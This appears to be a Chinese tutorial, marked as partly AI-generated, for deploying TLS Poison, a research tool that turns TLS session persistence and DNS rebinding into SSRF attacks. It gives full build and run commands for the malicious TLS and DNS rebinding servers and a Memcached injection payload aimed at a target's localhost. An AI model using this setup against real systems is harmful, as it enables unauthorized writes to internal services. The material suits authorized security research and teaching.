TLS Poison快速入门:15分钟搭建你的第一个TLS攻击环境

TLS Poison快速入门:15分钟搭建你的第一个TLS攻击环境
TLS Poison快速入门15分钟搭建你的第一个TLS攻击环境【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poisonTLS Poison是一款利用TLS固有特性实现通用SSRF和CSRF攻击的工具无需依赖特定实现漏洞。通过本文15分钟的快速教程你将掌握搭建TLS攻击环境的核心步骤开启网络安全渗透测试的新视角。为什么选择TLS Poison传统SSRF攻击常依赖gopher://等特殊协议但现代系统对这些协议的支持越来越少。TLS Poison创新性地利用TLS会话持久性机制让攻击载荷通过https://协议传输大大提高了攻击成功率。该项目最初在Blackhat USA 2020和DEF CON Safemode会议上发布主要基于rustls和dns-mitm项目构建为安全研究人员提供了全新的攻击向量。环境搭建准备工作必备条件可设置NS记录的域名推荐使用专用顶级域名公网服务器用于部署TLS服务器和DNS重绑定服务器基础Linux系统知识本文以Ubuntu为例核心组件TLS服务器处理TLS握手并注入攻击载荷DNS重绑定服务器实现域名解析交替指向公网和目标内网证书配置生成或获取用于TLS通信的有效证书step-by-step搭建指南1. 安装基础依赖首先更新系统并安装必要工具sudo apt update sudo apt install -y git redis python3 python3-pip2. 获取项目代码克隆TLS Poison仓库到本地git clone https://gitcode.com/gh_mirrors/tl/TLS-poison cd TLS-poison3. 部署TLS服务器TLS服务器是攻击环境的核心组件负责处理TLS握手并注入自定义载荷# 安装Rust环境 curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh source $HOME/.cargo/env # 构建TLS服务器 cd client-hello-poisoning/custom-tls cargo build # 使用测试证书启动服务器端口8443 target/debug/custom-tls -p 8443 --verbose \ --certs ../../rustls/test-ca/rsa/end.fullchain \ --key ../../rustls/test-ca/rsa/end.rsa http打开新终端验证服务器是否正常运行curl -kv https://localhost:84434. 配置DNS重绑定服务器DNS重绑定是实现攻击的关键技术需要在独立服务器上部署# 进入DNS服务器目录 cd ../../client-hello-poisoning/custom-dns # 安装Python依赖 pip3 install -r requirements.txt # 启动DNS重绑定服务 # 替换$DOMAIN为你的域名$TARGET_IP为目标内网IP通常是127.0.0.1$INITIAL_IP为TLS服务器IP sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8如果遇到地址已被占用错误可能需要停止系统默认DNS服务sudo systemctl stop systemd-resolved验证DNS重绑定功能dig localhost $DOMAIN # 多次运行应看到IP地址交替变化5. 配置域名和证书DNS记录设置在域名管理界面添加以下记录A记录dns.yourdomain.com指向DNS服务器IPNS记录tlstest.yourdomain.com指向dns.yourdomain.com获取SSL证书使用Certbot获取Lets Encrypt证书# 安装Certbot sudo apt install certbot # 执行DNS验证挑战 certbot certonly --manual --preferred-challenges dns -d tlstest.yourdomain.com使用新证书重启TLS服务器cd ../custom-tls target/debug/custom-tls -p 8443 --verbose \ --certs /etc/letsencrypt/live/tlstest.yourdomain.com/fullchain.pem \ --key /etc/letsencrypt/live/tlstest.yourdomain.com/privkey.pem http实战演示Memcached攻击以Memcached为例展示如何利用TLS Poison进行攻击配置攻击载荷redis-cli 127.0.0.1:6379 set payload \r\nset foo 0 0 14\r\nim in ur cache \r启动针对Memcached的TLS服务器target/debug/custom-tls -p 11211 --verbose \ --certs ../../rustls/test-ca/rsa/end.fullchain \ --key ../../rustls/test-ca/rsa/end.rsa http实施攻击 将https://tlstest.yourdomain.com:11211作为SSRF payload注入目标系统即可在目标Memcached中写入数据。常见问题解决连接问题Q: 客户端无法连接到TLS服务器A: 检查防火墙设置确保8443/11211等端口已开放DNS重绑定失败Q: DNS记录不交替变化A: 检查NS记录配置是否正确可使用dig 8.8.8.8 tlstest.yourdomain.com验证证书错误Q: 客户端提示证书不受信任A: 确保使用Lets Encrypt等可信CA颁发的证书或在测试环境中禁用证书验证安全与法律注意事项⚠️重要提示仅在获得明确授权的系统上使用TLS Poison进行测试。未经授权的网络攻击属于违法行为可能导致严重法律后果。项目代码仅用于教育和安全研究目的作者不对任何滥用行为负责。进阶学习资源项目核心代码client-hello-poisoning/custom-tls/src/main.rsDNS重绑定实现client-hello-poisoning/custom-dns/alternate-dns.py测试证书生成rustls/test-ca通过本文的快速入门你已经掌握了TLS Poison的基本搭建流程。继续深入研究项目源码和相关协议文档将帮助你发现更多高级攻击技巧和防御方法。【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考